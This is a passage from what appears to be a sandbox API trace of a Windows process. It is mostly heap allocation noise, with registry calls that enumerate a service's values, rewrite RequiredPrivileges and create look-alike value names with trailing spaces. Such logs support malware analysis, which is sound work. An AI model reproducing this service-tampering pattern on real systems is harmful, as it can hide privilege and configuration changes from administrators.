returned 0x103 [0220.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0220.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0220.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0220.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0220.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0220.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0220.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0220.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0220.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0220.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0220.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0220.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0220.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0220.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0220.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0220.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0220.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0220.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0220.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0220.837] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0220.837] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0220.838] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0220.838] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0220.838] RegQueryValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0xb3) returned 0x0 [0220.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0xc0) returned 0x219ddd8 [0220.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0220.839] RegQueryValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x219ddd8, lpcbData=0x36f45c*=0xb3 | out: lpType=0x36f454*=0x7, lpData=0x219ddd8*, lpcbData=0x36f45c*=0xb3) returned 0x0 [0220.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0220.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0220.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0220.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0220.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0220.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0220.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0220.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0220.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0220.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0220.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0220.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0220.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0220.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0220.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0220.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0220.839] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0220.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0220.839] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0220.839] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0220.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0220.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0220.840] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x219d3c8*, cbData=0xb4 | out: lpData=0x219d3c8*) returned 0x0 [0220.840] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219d3c8) returned 1 [0220.840] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0220.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0220.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0220.840] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0220.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0220.840] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0220.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0220.840] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0220.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0220.840] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x21573f8 [0220.840] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0220.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0220.840] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0220.840] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0220.840] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0220.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0220.841] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x252bc08 [0220.841] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0220.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0220.841] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0220.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0220.841] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0220.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0220.841] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0220.841] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0220.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0220.841] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0220.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0220.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0220.841] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0220.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0220.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0220.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0220.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0220.841] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0220.841] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0220.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0220.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f44a8) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3f8) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4460) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4418) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4388) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4340) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0220.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0220.842] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0220.843] RegQueryValueExA (in: hKey=0x148, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0220.843] RegQueryValueExA (in: hKey=0x148, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f4808, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="localSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0220.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0220.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0220.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0220.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2157420) returned 1 [0220.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0220.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0220.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0220.843] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0220.843] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0220.843] RegQueryValueExA (in: hKey=0x150, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0220.844] RegQueryValueExA (in: hKey=0x150, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f4070, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0220.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0220.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0220.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0220.844] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f44f0) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4538) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4580) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0220.844] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f45c8) returned 1 [0220.844] RtlFreeHeap 